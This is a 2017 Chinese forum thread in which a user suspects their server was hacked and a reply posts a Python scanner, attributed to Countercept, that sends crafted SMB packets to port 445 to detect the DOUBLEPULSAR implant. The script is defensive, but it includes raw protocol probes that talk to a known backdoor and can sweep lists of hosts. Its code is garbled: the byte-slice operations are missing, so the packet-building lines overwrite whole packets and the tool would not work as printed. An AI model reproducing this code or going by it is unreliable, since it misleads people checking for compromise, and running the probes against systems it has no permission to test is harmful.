kelvin225 发表于 2017-4-22 22:42:21

KS3C被黑？能怎样查？

一直连接着桌面的，突然到了注销页面，看了后好像多了个账户，上次那个漏洞怎样查的？系统是DD的

jshkk 发表于 2017-4-22 23:08:11

是这个吗？
#!/usr/bin/python

import binascii
import socket
import argparse
import struct
import threading


# Packets
negotiate_protocol_request = binascii.unhexlify("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
session_setup_request = binascii.unhexlify("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
tree_connect_request = binascii.unhexlify("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
trans2_session_setup = binascii.unhexlify("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")

# Arguments
parser = argparse.ArgumentParser(description="Detect present of DOUBLEPULSAR implant\n\nAuthor: Luke Jennings\nWebsite: https://countercept.com\n推特: @countercept", formatter_class=argparse.RawTextHelpFormatter)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--ip', help='Single IP address to check')
group.add_argument('--file', help='File containing a list of IP addresses to check')
parser.add_argument('--timeout', help="Timeout on connection for socket in seconds", default=None)
parser.add_argument('--verbose', help="Verbose output for checking of commands", action='store_true')
parser.add_argument('--threads', help="Number of connection threads when checking file of IPs (default 10)", default="10")

args = parser.parse_args()
ip = args.ip
filename = args.file
timeout = args.timeout
verbose = args.verbose
num_threads = int(args.threads)
semaphore = threading.BoundedSemaphore(value=num_threads)
print_lock = threading.Lock()


def print_status(ip, message):
    global print_lock

    with print_lock:
      print "[*] [%s] %s" % (ip, message)


def check_ip(ip):
    global negotiate_protocol_request, session_setup_request, tree_connect_request, trans2_session_setup, timeout, verbose

    # Connect to socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(float(timeout) if timeout else None)
    host = ip
    port = 445
    s.connect((host, port))

    # Send/receive negotiate protocol request
    if verbose:
      print_status(ip, "Sending negotation protocol request")
    s.send(negotiate_protocol_request)
    s.recv(1024)

    # Send/receive session setup request
    if verbose:
      print_status(ip, "Sending session setup request")
    s.send(session_setup_request)
    session_setup_response = s.recv(1024)

    # Extract user ID from session setup response
    user_id = session_setup_response
    if verbose:
      print_status(ip, "User ID = %s" % struct.unpack("<H", user_id))

    # Replace user ID in tree connect request packet
    modified_tree_connect_request = list(tree_connect_request)
    modified_tree_connect_request = user_id
    modified_tree_connect_request = user_id
    modified_tree_connect_request = "".join(modified_tree_connect_request)

    # Send tree connect request
    if verbose:
      print_status(ip, "Sending tree connect")
    s.send(modified_tree_connect_request)
    tree_connect_response = s.recv(1024)

    # Extract tree ID from response
    tree_id = tree_connect_response
    if verbose:
      print_status(ip, "Tree ID = %s" % struct.unpack("<H", tree_id))

    # Replace tree ID and user ID in trans2 session setup packet
    modified_trans2_session_setup = list(trans2_session_setup)
    modified_trans2_session_setup = tree_id
    modified_trans2_session_setup = tree_id
    modified_trans2_session_setup = user_id
    modified_trans2_session_setup = user_id
    modified_trans2_session_setup = "".join(modified_trans2_session_setup)

    # Send trans2 sessions setup request
    if verbose:
      print_status(ip, "Sending trans2 session setup")
    s.send(modified_trans2_session_setup)
    final_response = s.recv(1024)

    s.close()

    # Check for 0x51 response to indicate DOUBLEPULSAR infection
    if final_response == "\x51":
      with print_lock:
            print "[+] [%s] DOUBLEPULSAR DETECTED!!!" % ip
    else:
      with print_lock:
            print "[-] [%s] No presence of DOUBLEPULSAR" % ip


def threaded_check(ip_address):
    global semaphore

    try:
      check_ip(ip_address)
    except Exception as e:
      with print_lock:
            print " [%s] - %s" % (ip_address, e)
    finally:
      semaphore.release()


if ip:
    check_ip(ip)
if filename:
    with open(filename, "r") as fp:
      for line in fp:
            semaphore.acquire()
            ip_address = line.strip()
            t = threading.Thread(target=threaded_check, args=(ip_address,))
            t.start()


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